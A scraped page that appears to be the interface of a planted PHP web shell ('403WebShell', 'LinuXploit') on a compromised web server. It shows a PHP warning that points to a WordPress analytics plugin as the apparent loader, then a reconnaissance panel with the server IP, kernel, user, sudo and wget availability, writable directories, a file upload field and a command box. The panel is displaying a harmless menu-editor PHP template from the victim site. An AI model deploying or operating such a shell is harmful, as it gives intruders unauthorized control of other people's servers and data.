Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/theyoungdesigners_com/modules/pageFooter/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/theyoungdesigners_com/modules/pageFooter/view/pagefooter_view.php
<?php

class pagefooter_View extends View {

	public function UpdateHTML(&$html, $needle, $replacement) {
		$xneedle = "<!-- [{$needle}] -->";
		if (($pos = strpos($html, $xneedle)) === FALSE) {
			die("Unable to locate $needle in html");
		}
		$html = substr($html, 0, $pos) . $replacement . substr($html, $pos);
	}

	public function menuedit() {
		$html = <<<BLOCK
<span class="me-item" id="{{active}}_{{idx}}" data-href="{{l}}" data-s="{{s}}" data-id="{{id}}" data-class="{{class}}" data-v="{{#if v}}{{v}}{{else}}{{c}}{{/if}}"
	style="margin-left:{{margin}}px"><span class="me-action"><i class="me-icon me-edit"></i> <i class="me-icon me-trash"></i></span><span 
	class="me-caption middle" title="{{#if h}}{{h}}{{else}}{{#if v}}{{v}}{{else}}{{c}}{{/if}}{{/if}}">{{#if v}}{{v}}{{else}}{{c}}{{/if}}</span></span>
BLOCK;
		$this('menu_item')->Html($html);

		$html = <<<BLOCK

<section class="sec-contact">
<div class="container">

	<h3>{{page_title}}</h3>
	<input type="hidden" name="page" value="{{page}}">
	<div class="menuedit-container">
		<div class="menuedit-col1">
			<div id="menuedit_tabs">
				<ul>
				</ul>
			</div>
		</div>
		<div class="menuedit-col2">
			<div id="menusource" class="menuedit-source context-1">
			</div>
		</div>
	</div>
	<div class="menuedit-footer"><a href="/admin/" title="exit without saving any changes">Back</a> | <button class="menuedit-save adminButton" data-auth="{{auth}}" data-page="{{page}}">Save Changes</button></div>
	<div class="menuedit-hint">Drag items from the right column onto the appropriate menu. Indent items to create submenus.</div>
</div>
</section>

BLOCK;
//	<div class="clearfix"></div>
		$this('menuedit')->Html($html)->Title('Menu Editor');
	}
	
	public function menuedit_detail() {
		$html = <<<BLOCK
<form accept-charset="UTF-8" action="/admin/menus/custom" class="frm json">
	<input type="hidden" name="active" value="{{active}}">
	<input type="hidden" name="idx" value="{{idx}}">
	<input type="hidden" name="id" value="{{id}}">
	<input type="hidden" name="initial" value="{{initial}}">
	<input type="hidden" name="auth" value="{{auth}}">
	<input type="hidden" name="page" value="{{page}}">

	<div class="control-group cf-caption">
	<label for="caption">Caption</label>
	<div class="controls"><input id="caption" class="change-caption" name="caption" size="30" type="text" value="{{caption}}"></div>
	<div class="status-message" for="caption"></div></div>

	{{#unless custom}}
	<div class="control-group cf-default">
		<input id="default" name="default" type="checkbox" class="menuedit-togglecap" value="1"{{#if default}}checked{{/if}}> <label for="default">Use Page Title</label>
	</div>

	<div class="control-group cf-link">
	<label for="link">Link</label>
	<div class="controls"><input id="link" name="link" size="30" type="text" value="{{link}}"></div>
	<div class="status-message" for="link"></div></div>
	{{/unless}}
</form>
BLOCK;
		$this('menuedit_detail')->Html($html)->Title('Menu Editor');
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit